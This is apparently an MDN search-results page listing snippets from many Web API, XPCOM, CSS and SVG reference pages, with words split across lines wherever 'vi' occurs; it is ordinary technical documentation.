vice; this lets other components be woken up when specific message manager messages arrive.
... by using this ser
vice, you can avoid starting those components until they're needed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this ser
vice was introduced in gecko 5.0 on firefox for android, but was not pro
vided on desktop until gecko 13.0 (firefox 13).
...And 5 more matches
nsINavHistoryFullVisitResultNode
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable this interface describes a result from a result_type_full_
visit query on the places ser
vice.
... this includes more detailed information than the result_type_
visit query (which returns nsinavhistory
visitresultnode, and as such takes more time to look up.
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistory
visitresultnode last changed in gecko 1.9 (firefox 3) the information returned in this interface is not commonly used, hence its separation into a separate query type for efficiency.
...And 5 more matches
nsINavHistoryResultViewObserver
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable this interface is used by clients of the history results to define domain-specific handling of specific nsitree
view methods that the history result doesn't implement.
... inherits from: nsisupports last changed in gecko 1.9.0 method over
view boolean candrop(in long index, in long orientation); void ondrop(in long row, in long orientation); void ontoggleopenstate(in long index); void oncycleheader(in nsitreecolumn column); void oncyclecell(in long row, in nsitreecolumn column); void onselectionchanged(); void onperformaction(in wstring action); void onperformactiononrow(in wstring action, in long row); void onperformactiononcell(in wstring action, in long row, in nsitreecolumn column); constants constant value description drop_before -1 the drag operation wishes to insert the dragged item before the indicated row.
...to pro
vide beha
vior similar to the folder pane in thunderbird, where drops are only permitted on items themselves instead of on the pane as a whole, always return false when the orientation isn't drop_on.
...And 5 more matches
nsITaskbarPreviewButton
widget/public/nsitaskbarpre
viewbutton.idlscriptable this interface is used on microsoft windows to get access to a window pre
view's toolbar button properties.
... these buttons are displayed below the window pre
view.
...instead, you use the nsitaskbarwindowpre
view.getbutton() to get the objects representing the buttons.
...And 5 more matches
Tree map view - Firefox Developer Tools
the tree map
view is new in firefox 48.
... the tree map
view pro
vides a
visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory.
... for the treemaps shown in the memory tool, things on the heap are di
vided at the top level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement.
...And 5 more matches
msAudioDeviceType - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the msaudiode
vicetype property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge.
... msaudiode
vicetype specifies the output de
vice id that the audio will be sent to.
...And 5 more matches
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msislayoutoptimalforplayback is a read-only property which indicates whether the
video can be rendered more efficiently.
... syntax html
videoelement.msislayoutoptimalforplayback: domstring; value boolean value set to true indicates that
video is being rendered optimally (better performance and using less battery power).
...And 5 more matches
MediaTrackSettings.deviceId - Web APIs
the mediatracksettings dictionary's de
viceid property is a domstring which uniquely identifies the source for the corresponding mediastreamtrack for the origin corresponding to the browsing session.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.de
viceid property you pro
vided when calling either getusermedia().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.de
viceid as returned by a call to mediade
vices.getsupportedconstraints().
...And 5 more matches
Navigator.sendBeacon() - Web APIs
the na
vigator.sendbeacon() method asynchronously sends a small amount of data over http to a web server.
... syntax na
vigator.sendbeacon(url, data); parameters url the url that will receive the data.
... data a arraybuffer, arraybuffer
view, blob, domstring, formdata, or urlsearchparams object containing the data to send.
...And 5 more matches
Navigator.xr - Web APIs
the read-only xr property pro
vided by the na
vigator or workerna
vigator interface returns an xr object which can be used to access the webxr de
vice api.
... syntax const xr = na
vigator.xr value the xr object used to interface with the webxr de
vice api in the current context.
... this can be used to present augmented and/or
virtual reality imagery to the user.
...And 5 more matches
NavigatorID.userAgent - Web APIs
the na
vigatorid.useragent read-only property returns the user agent string for the current browser.
... the specification asks browsers to pro
vide as little information
via this field as possible.
... opera 6+ allows users to set the browser identification string
via a menu.
...And 5 more matches
Node.previousSibling - Web APIs
the node.pre
vioussibling read-only property returns the node immediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list.
... syntax pre
viousnode = node.pre
vioussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").pre
vioussibling); // <img id="b0"> console.log(document.getelementbyid("b2").pre
vioussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup.
... therefore a node obtained, for example, using node.firstchild or node.pre
vioussibling may refer to a whitespace text node rather than the actual element the author intended to get.
...And 5 more matches
ServiceWorker.onstatechange - Web APIs
an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the ser
viceworker.state changes.
... syntax ser
viceworker.onstatechange = function(statechangeevent) { ...
... } ser
viceworker.addeventlistener('statechange', function(statechangeevent) { ...
...And 5 more matches
ServiceWorkerState - Web APIs
the ser
viceworkerstate is associated with its ser
viceworker's state.
... values installing the ser
vice worker in this state is considered an installing worker.
...this is primarily used to ensure that the ser
vice worker is not active until all of the core caches are populated.
...And 5 more matches
USBDevice.opened - Web APIs
the opened read only property of the usbde
vice interface indicates whether a session has been started with a paired usb de
vice.
... a de
vice must be opened before it can be controlled by a web page.
... syntax var serialnumber = usbde
vice.opened value a boolean.
...And 5 more matches
VideoTrackList.length - Web APIs
the read-only
videotracklist property length returns the number of entries in the
videotracklist, each of which is a
videotrack representing one
video track in the media element.
... a value of 0 indicates that there are no
video tracks in the media.
... syntax var trackcount =
videotracklist.length; value a number indicating how many
video tracks are included in the
videotracklist.
...And 5 more matches
VideoTrackList.onaddtrack - Web APIs
the
videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new
video track has been added to the media element whose
video tracks the
videotracklist represents.
... syntax
videotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which
video track has been added to the media.
... usage notes the addtrack event is called whenever a new track is added to the media element whose
video tracks are represented by the
videotracklist object.
...And 5 more matches
XRSystem: devicechange event - Web APIs
a de
vicechange event is fired on an xrsystem object whenever the whenever the availability of immersive xr de
vices has changed; for example, a vr headset or ar goggles have been connected or disconnected.
... note: not to be confused with the mediade
vices de
vicechange event.
... bubbles no cancelable no interface event event handler xrsystem.onde
vicechange usage notes de
vicechange events are not delivered if the document which owns the xrsystem object has been granted permission to do so through the xr-spatial-tracking feature policy.
...And 5 more matches
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
the -webkit-de
vice-pixel-ratio is a non-standard boolean css media feature which is an alternative to the standard resolution media feature.
... syntax the -webkit-de
vice-pixel-ratio feature is specified as a <number> value.
... it is a range feature, meaning that you can also use the prefixed -webkit-min-de
vice-pixel-ratio and -webkit-max-de
vice-pixel-ratio variants to query minimum and maximum values, respectively.
...And 5 more matches
overscroll-behavior-y - CSS: Cascading Style Sheets
the overscroll-beha
vior-y css property sets the browser's beha
vior when the vertical boundary of a scrolling area is reached.
... see overscroll-beha
vior for a full explanation.
... /* keyword values */ overscroll-beha
vior-y: auto; /* default */ overscroll-beha
vior-y: contain; overscroll-beha
vior-y: none; /* global values */ overscroll-beha
vior-y: inherit; overscroll-beha
vior-y: initial; overscroll-beha
vior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-beha
vior-y property is specified as a keyword chosen from the list of values below.
...And 5 more matches
stdDeviation - SVG: Scalable Vector Graphics
the stdde
viation attribute defines the standard de
viation for the blur operation.
... only one element is using this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stdde
viation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stdde
viation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stdde
viation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform: translatex(280px);" /> </svg> usage notes value <number-optional-...
...number> default value 0 animatable yes <number-optional-number> if two numbers are pro
vided, the first number represents a standard de
viation value along the x-axis.
...And 5 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...this method is used to na
vigate into subdirectories.
...this will be the usual beha
viour when copying to a different directory, but you would want to specify a filename when copying a file to another name within the same directory.
...And 4 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
this is example code for sorting and filtering a custom tree
view, that is, a tree whose values are loaded
via javascript.
...because of bug 340478, this code will only work from pri
vileged script.
... sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree
view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(th...
...And 4 more matches
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
a
viewport represents a polygonal (normally rectangular) area in computer graphics that is currently being
viewed.
... in web browser terms, it refers to the part of the document you're
viewing which is currently
visible in its window (or the screen, if the document is being
viewed in full screen mode).
... content outside the
viewport is not
visible onscreen until scrolled into
view.
...And 4 more matches
mozbrowseractivitydone
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mozbrowseracti
vitydone event is fired when something inside the browser <iframe> triggers a web acti
vity, and that web acti
vity's message is consumed by the recei
ving app.
... if the acti
vity has a returnvalue set to true, then the acti
vity is consumed when postresult or posterror is invoked on the acti
vity by the recei
ving app.
...And 4 more matches
API-provided widgets
possible types are button for simple button widgets (the default)
view for buttons that open a panel or sub
view, depending on where they are placed.
...
viewid only useful for
views (and required there): the id of the that should be shown when clicking the widget.
... nb: if you specify false here, you must pro
vide a defaultarea, too.
...And 4 more matches
Receiving startup notifications
sometimes it's necessary for xpcom components to receive notifications as to the progress of the application's startup process, so they can start new ser
vices at appropriate times, for example.
... recei
ving startup notifications in gecko 2.0 (firefox 4) and later in order to improve startup times, changes were made to the xpcom startup process.
...for example: category profile-after-change mycomponent @foobar/mycomponent;1 important: in the past, the contract id of the category entry started with "ser
vice," if the component was implemented as a ser
vice.
...And 4 more matches
Monitoring HTTP activity
gecko includes the nsihttpacti
vityobserver interface, which you can implement in your code to monitor http transactions in real time, recei
ving a callback as the transactions take place.
... creating an http acti
vity observer to observe http acti
vity, you need to implement the nsihttpacti
vityobserver interface within your code.
... this is very simple, requiring you to implement a single method, nsihttpacti
vityobserver.observeacti
vity(), which gets called each time an action of interest takes place on the http channel.
...And 4 more matches
mozIVisitInfo
toolkit/components/places/moziasynchistory.idlscriptable this interface pro
vides additional info for a
visit.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description referreruri nsiuri read only: the referring uri of this
visit.
... sessionid long read only: the sessionid of this
visit.
...And 4 more matches
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
the canvasrenderingcontext2d.scrollpathinto
view() method of the canvas 2d api scrolls the current or given path into
view.
... it is similar to element.scrollinto
view().
... syntax void ctx.scrollpathinto
view(); void ctx.scrollpathinto
view(path); parameters path a path2d path to use.
...And 4 more matches
DeviceMotionEvent - Web APIs
the de
vicemotionevent pro
vides web developers with information about the speed of changes for the de
vice's position and orientation.
... constructor de
vicemotionevent.de
vicemotionevent() creates a new de
vicemotionevent.
... properties de
vicemotionevent.accelerationread only an object gi
ving the acceleration of the de
vice on the three axis x, y and z.
...And 4 more matches
Element.scrollIntoView() - Web APIs
the element interface's scrollinto
view() method scrolls the element's parent container such that the element on which scrollinto
view() is called is
visible to the user syntax element.scrollinto
view(); element.scrollinto
view(aligntotop); // boolean parameter element.scrollinto
view(scrollinto
viewoptions); // object parameter parameters aligntotop optional is a boolean value: if true, the top of the element will be aligned to the top of the
visible area of the scrollable ancestor.
... corresponds to scrollinto
viewoptions: {block: "start", inline: "nearest"}.
... if false, the bottom of the element will be aligned to the bottom of the
visible area of the scrollable ancestor.
...And 4 more matches
Element.scrollIntoViewIfNeeded() - Web APIs
the element.scrollinto
viewifneeded() method scrolls the current element into the
visible area of the browser window if it's not already within the
visible area of the browser window.
... if the element is already within the
visible area of the browser window, then no scrolling takes place.
... this method is a proprietary variation of the standard element.scrollinto
view() method.
...And 4 more matches
FetchEvent.navigationPreload - Web APIs
the na
vigationpreload read-only property of the fetchevent interface returns a promise that resolves to the instance of na
vigationpreloadmanager associated with the current ser
vice worker registration.
... syntax var promise = fetchevent.na
vigationpreload value a promise that resolves to the instance of na
vigationpreloadmanager.
... return fetch(event.request); }()); }); specifications specification status comment ser
vice workersthe definition of 'na
vigationpreload' in that specification.
...And 4 more matches
HTMLMediaElement.videoTracks - Web APIs
the read-only
videotracks property on htmlmediaelement objects returns a
videotracklist object listing all of the
videotrack objects representing the media element's
video tracks.
...once you have a reference to the list, you can monitor it for changes to detect when new
video tracks are added or existing ones removed.
... see event handlers in
videotracklist to learn more about watching for changes to a media element's track list.
...And 4 more matches
Browser storage limits and eviction criteria - Web APIs
the "last access time" of origins is updated when any of these are activated/deactivated — origin e
viction will delete data for all these quota clients.
...this will only be e
victed if the user chooses to (for example, in firefox you can choose to delete all stored data or only stored data from selected origins by going to preferences and using the options under privacy & security > cookies & site data).
...this will be e
victed under a least recently used (lru policy) when storage limits are reached.
...And 4 more matches
InputDeviceCapabilities - Web APIs
the inputde
vicecapabilities interface of the input de
vice capabilities api pro
vides information about the physical de
vice or a group of related de
vices responsible for generating input events.
... events caused by the same physical input de
vice get the same instance of this object, but the converse isn't true.
... for example, two mice with the same capabilities in a system may appear as a single inputde
vicecapabilities instance.
...And 4 more matches
MediaDevices - Web APIs
the mediade
vices interface pro
vides access to connected media input de
vices like cameras and microphones, as well as screen sharing.
... events de
vicechange fired when a media input or output de
vice is attached to or removed from the user's computer.
... also available
via the onde
vicechange property.
...And 4 more matches
Navigator.getBattery() - Web APIs
the getbattery() method pro
vides information about the system's battery.
... it returns a battery promise, which is resolved in a batterymanager object pro
viding also some new events you can handle to monitor the battery status.
... syntax var batterypromise = na
vigator.getbattery(); return value a promise which, when resolved, calls its fulfillment handler with a single parameter: a batterymanager object which you can use to get information about the battery's state.
...And 4 more matches
Navigator.mediaSession - Web APIs
the read-only na
vigator property mediasession returns a mediasession object that can be used to share with the browser metadata and other information about the current playback state of media being handled by a document.
... this information may, in turn, be shared with the de
vice and/or operating system in order to a de
vice's standard media control user experience to describe and control the playback of the media.
... in addition, the mediasession interface pro
vides the setactionhandler() method, which lets you receive events when the user engages de
vice controls such as either onscreen or physical play, pause, seek, and other similar controls.
...And 4 more matches
Navigator.onLine - Web APIs
you could be getting false positives, such as in cases where the computer is running a
virtualization software that has
virtual ethernet adapters that are always "connected." therefore, if you really want to determine the online status of the browser, you should develop additional means for checking.
...until firefox 41, all other conditions return a true value; testing actual beha
vior on nightly 68 on windows shows that it only looks for lan connection like chrome and safari gi
ving false positives.
... syntax online = window.na
vigator.online; value online is a boolean true or false.
...And 4 more matches
NavigatorOnLine - Web APIs
the na
vigatoronline interface contains methods and properties related to the connecti
vity status of the browser.
... there is no object of type na
vigatoronline, but other interfaces, like na
vigator or workerna
vigator, implement it.
... properties the na
vigatoronline interface doesn't inherit any property.
...And 4 more matches
NavigatorPlugins - Web APIs
the na
vigatorplugins mixin adds to the na
vigator interface methods and properties for discovering and interacting with plugins installed into the browser.
... properties na
vigatorplugins.mimetypes read only returns an mimetypearray listing the mime types supported by the browser.
... na
vigatorplugins.plugins read only returns a pluginarray listing the plugins installed in the browser.
...And 4 more matches
PerformanceNavigation.type - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... the legacy performancena
vigation.type read-only property returns an unsigned short containing a constant describing how the na
vigation to this page was done.
...And 4 more matches
PerformanceNavigationTiming.type - Web APIs
the type read-only property returns a string representing the type of na
vigation.
... the value must be one of the following: na
vigate na
vigation started by clicking a link, entering the url in the browser's address bar, form submission, or initializing through a script operation other than reload and back_forward as listed below.
... reload na
vigation is through the browser's reload operation or location.reload().
...And 4 more matches
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
the ser
viceworkerglobalscope.onpushsubscriptionchange event of the ser
viceworkerglobalscope interface is fired to indicate a change in push subscription that was triggered outside the application's control, e.g.
... pre
viously, it was defined as the event interface that is fired whenever a push subscription has been invalidated (or is about to become so).
... this offers an opportunity to resubscribe in order to continue recei
ving push messages, if desired.
...And 4 more matches
USB.getDevices() - Web APIs
the getde
vices method of the usb interface returns a promise that resolves with an array of usbde
vice objects for paired attached de
vices.
... for information on pairing de
vices, see usb.requestde
vice().
... syntax usb.getde
vices() parameters none.
...And 4 more matches
VideoTrackList.onchange - Web APIs
the
videotracklist property onchange is an event handler which is called when the change event occurs, indicating that a
videotrack in the
videotracklist has been made active.
... the event is passed into the event handler in the form of an event object; the event doesn't pro
vide any additional information.
... to determine the new state of media's tracks, you'll have to look at their
videotrack.selected flags.
...And 4 more matches
VideoTrackList.onremovetrack - Web APIs
the
videotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a
video track has been removed from the media element, and therefore also from the
videotracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed from the media element's
videotracklist.
... syntax
videotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which
video track has been removed from the media element.
...And 4 more matches
Privileged features - Web APIs
this page lists the windowfeatures parameter of window.open function that requires chrome-pri
vilege in firefox.
... the following features require the chrome-pri
vilege.
... the dependent feature is currently under re
vision to be removed (bug 214867) in msie 6, the nearest equivalent to this feature is the showmodelessdialog() method.
...And 4 more matches
WorkerGlobalScope.navigator - Web APIs
the na
vigator read-only property of the workerglobalscope interface returns the workerna
vigator associated with the worker.
... it is a specific na
vigator object, mostly a subset of the na
vigator for browsing scopes, but adapted to workers.
... syntax var na
vigatorobj = self.na
vigator; value a workerna
vigator object.
...And 4 more matches
XRFrame.getViewerPose() - Web APIs
the get
viewerpose() method, a member of the xrframe interface, returns a xr
viewerpose object which describes the
viewer's pose (position and orientation) relative to the specified reference space.
... syntax var xr
viewerpose = xrframe.get
viewerpose(referencespace); parameters referencespace an xrreferencespace object specifying the space to use as the reference point or base for the computation of the
viewer's current pose.
... return value a xr
viewerpose describing the
viewer's position and orientation relative to the specified reference space.
...And 4 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
this article pro
vides an over
view of what you can do with shapes.
...if they do have shapes support then the
visual display is enhanced.
... using generated content as the floated item in the examples above we have used images or a
visible element to define the shape, meaning that you can see the shape on the page.
...And 4 more matches
Overview of events and handlers - Developer guides
this over
view of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
... events and event handling pro
vide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the de
vice on which the browser is running, and from many other causes such as media stream playback or animation timing.
...the innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrie
ving all resources; this approach also allows for event driven actions, which javascript leverages.
...And 4 more matches
divisor - SVG: Scalable Vector Graphics
the di
visor attribute specifies the value by which the resulting number of applying the kernelmatrix of a <feconvolvematrix> element to the input image color value is di
vided to yield the destination color value.
... a di
visor that is the sum of all the matrix values tends to have an evening effect on the overall color intensity of the result.
... only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" di
visor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" di
visor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px)...
...And 4 more matches
Providing Command-Line Options - Archive of obsolete content
see also: xulrunner:commandline over
view the code below is an example of writing a javascript xpcom component to handle command line parameters.
... firefox.exe -
viewapp url opens a chrome window for my application and passes it an nsiuri object.
...lla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startup;1?type=myapp the javascript code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/ser
vices.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility functions */ /** * opens a chrome window.
...And 3 more matches
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-ser
vice (ddos) is an attack in which many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users.
... there are two types of ddos attacks: a network-centric attack (which overloads a ser
vice by using up bandwidth) and an application-layer attack (which overloads a ser
vice or database with application calls).
... the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of ser
vice").
...And 3 more matches
Layout viewport - MDN Web Docs Glossary: Definitions of Web-related terms
the layout
viewport is the
viewport into which the browser draws a web page.
... essentially, it represents what is available to be seen, while the
visual
viewport represents what is currently
visible on the user's display de
vice.
... this becomes important, for example, on mobile de
vices, where a pinching gesture can usually be used to zoom in and out on a site's contents.
...And 3 more matches
Adding APIs to the navigator object
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), you can easily add new apis to the window.na
vigator object by using the category manager.
... simply add an entry to the "javascript-na
vigator-property" category.
...each method below of adding new objects to the na
vigator object requires that the new object is a registered xpcom component.
...And 3 more matches
Message manager overview
process scripts are most likely to be useful when chrome code wants to run some code only once in the content process, to access some global ser
vice: for example, to register an observer or a content policy.
... it's a chromemessagebroadcaster object, which implements the following interfaces: nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster you can access the global message manager like this: // chrome script let globalmm = cc["@mozilla.org/globalmessagemanager;1"] .getser
vice(ci.nsimessagelistenermanager); window message manager the window message manager is associated with a specific browser window, and operates on every <browser> (that is, every content tab) loaded into that window: loadframescript() loads the given script into every <browser> in that browser window broadcastasyncmessage() sends the message to every <browser> in that browser window.
...there's also a single global parent process message manager (gppmm) in the parent process, that pro
vides access to all the parent process message managers: with the gppmm, you can broadcast messages to all cpmms.
...And 3 more matches
Services.jsm
the ser
vices.jsm javascript code module offers a wide assortment of lazy getters that simplify the process of obtaining references to commonly used ser
vices.
... to use it, you first need to import the code module into your javascript scope: const {ser
vices} = chromeutils.import("resource://gre/modules/ser
vices.jsm"); then you can obtain references to ser
vices by simply accessing them from the ser
vices object exported by the code module.
... for example, to obtain a reference to the preferences ser
vice: var prefsser
vice = ser
vices.prefs; pro
vided ser
vice getters ser
vice accessor ser
vice interface ser
vice name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information ser
vice appshell nsiappshellser
vice application shell ser
vice blocklist nsiblocklistser
vice blocklist ser
vice cache nsicacheser
vice cache ser
vice cache2 nsicachestorageser
vice cache storage ser
vice clipboard nsiclipboard clipboard console nsiconsoleser
vice error console ser
vice contentprefs nsicontentprefser
vice content preferences ser
vice cookies nsicookiemanager...
...And 3 more matches
Overview of NSS
open source crypto libraries proven application security architecture if you want to add support for ssl, s/mime, or other internet security standards to your application, you can use network security ser
vices (nss) to implement all your security features.
... nss pro
vides a complete open-source implementation of the crypto libraries used by aol, red hat, google, and other companies in a variety of products, including the following: mozilla products, including firefox, thunderbird, seamonkey, and firefox os.
...for details, see network security ser
vices for java.
...And 3 more matches
Using the Places tagging service
the tagging ser
vice, offered by the nsitaggingser
vice interface, pro
vides methods to tag and untag a uri, to retrieve uris for a given tag, and to retrieve all tags for a uri.
... initiating the tagging ser
vice before using the tagging ser
vice, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-ser
vice;1"] .getser
vice(components.interfaces.nsitaggingser
vice); tagging a uri the nsitaggingser
vice.taguri() method tags a url with the given set of tags.
... untagging a uri nsitaggingser
vice.untaguri() removes tags from a url.
...And 3 more matches
How to build a binary XPCOM component using Visual Studio
this is a simple tutorial for building xpcom objects in c++ using
visual studio.
...that means you can call javascript methods from c++ and
vice versa.
...this tutorial uses microsoft’s free
visual c++ express and the sample project in the next paragraph.
...And 3 more matches
nsDirectoryService
« xpcom api reference summary the xpcom directory ser
vice.
... this ser
vice returns the locations of "well known" directories in an os-independent manner.
... class id f00152d0-b40b-11d3-8c9c-000064657374 contractid @mozilla.org/file/directory_ser
vice;1 supported interfaces nsiproperties nsidirectoryser
vice remarks this component is a singleton and should therefore be accessed
via the xpcom ser
vice manager.
...And 3 more matches
nsIDeviceMotionData
xpcom/system/nside
vicemotion.idlscriptable this interface pro
vides information about de
vice motion.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nside
vicemotiondata prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... the values of x, y, and z can range from -1 to 1, where 0 means the de
vice is balanced on that axis.
...And 3 more matches
nsIHttpActivityDistributor
netwerk/protocol/http/nsihttpacti
vityobserver.idlscriptable this interface is used to register and unregister clients that wish to observe http transport acti
vity.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsihttpacti
vityobserver last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: mozilla.org/network/http-acti
vity-distributor;1 as a ser
vice: var httpacti
vitydistributor = components.classes["@mozilla.org/network/http-acti
vity-distributor;1"] .getser
vice(components.interfaces.nsihttpacti
vitydistributor); method over
view void addobserver(in nsihttpacti
vityobserver aobserver); void removeobserver(in nsihttpacti
vityobserver aobserver); methods addobserver() begins delivery of notifications of http transport acti
vity.
... void addobserver( in nsihttpacti
vityobserver aobserver ); parameters aobserver the nsihttpacti
vityobserver that should receive notifications of http transport acti
vity; this object's nsihttpacti
vityobserver.observeacti
vity() method will be called each time acti
vity occurs.
...And 3 more matches
nsIObserverService
xpcom/ds/nsiobserverser
vice.idlscriptable this interface pro
vides methods to add, remove, notify, and enumerate observers of various notifications.
... inherits from: nsisupports last changed in gecko 0.9.6 the xpcom nsobserverser
vice implements this interface to pro
vide global notifications for a variety of subsystems.
... implemented by @mozilla.org/observer-ser
vice;1 as a ser
vice: var observerser
vice = components.classes["@mozilla.org/observer-ser
vice;1"] .getser
vice(components.interfaces.nsiobserverser
vice); method over
view void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak); nsisimpleenumerator enumerateobservers( in string atopic ); void notifyobservers( in nsisupports asubject, in string atopic, in wstring somedata ); void removeobserver( in nsiobserver anobserver, in string atopic ); methods addobserver() registers a given listener for a notifications regarding the specified topic.
...And 3 more matches
nsIPrivateBrowsingService
netwerk/base/public/nsiprivatebrowsingser
vice.idlscriptable pro
vides access to information about the state of the private browsing ser
vice.
... the nsiprivatebrowsingser
vice interface pro
vides access to information about the state of the private browsing feature offered in firefox 3.5 and later.
...extensions that record potentially private information should use this interface to detect whether private browsing mode is enabled, and if it is, avoid sa
ving that information.
...And 3 more matches
nsIToolkitProfileService
toolkit/profile/public/nsitoolkitprofileser
vice.idlscriptable the profile ser
vice manages user profiles.
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1, this ser
vice is implemented by @mozilla.org/toolkit/profile-ser
vice;1.
... to access the ser
vice, you can use the following code: var toolkitprofileser
vice = components.classes["@mozilla.org/toolkit/profile-ser
vice;1"] .createinstance(components.interfaces.nsitoolkitprofileser
vice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile ser
vice.
...And 3 more matches
nsITreeContentView
the nsitreecontent
view interface is implemented by tree
views that are backed by dom content.
... it is typically reached by calling queryinterface on a nsitree
view.
... layout/xul/base/src/tree/public/nsitreecontent
view.idlscriptable please add a summary to this article.
...And 3 more matches
nsMsgViewCommandType
the nsmsg
viewcommandtype interface contains constants used for commands in thunderbird.
... for example to mark a message read, you would call: // assuming gdb
view is a global nsimsgdb
view gdb
view.docommand(components.interfaces.nsmsg
viewcommandtype.markmessagesread); mailnews/base/public/nsimsgdb
view.idlscriptable please add a summary to this article.
...use with nsimsgdb
view.docommandwithfolder() to select the destination folder.
...And 3 more matches
Account Provisioner
the account pro
visioner is the dialog that first comes up when starting thunderbird.
... the account pro
visioner gives the user the chance to search for and order a vanity email account from a list of partner pro
viders.
... debugging the account pro
visioner dialog logs most if not all of its acti
vities, which is useful for debugging.
...And 3 more matches
Mail client architecture overview
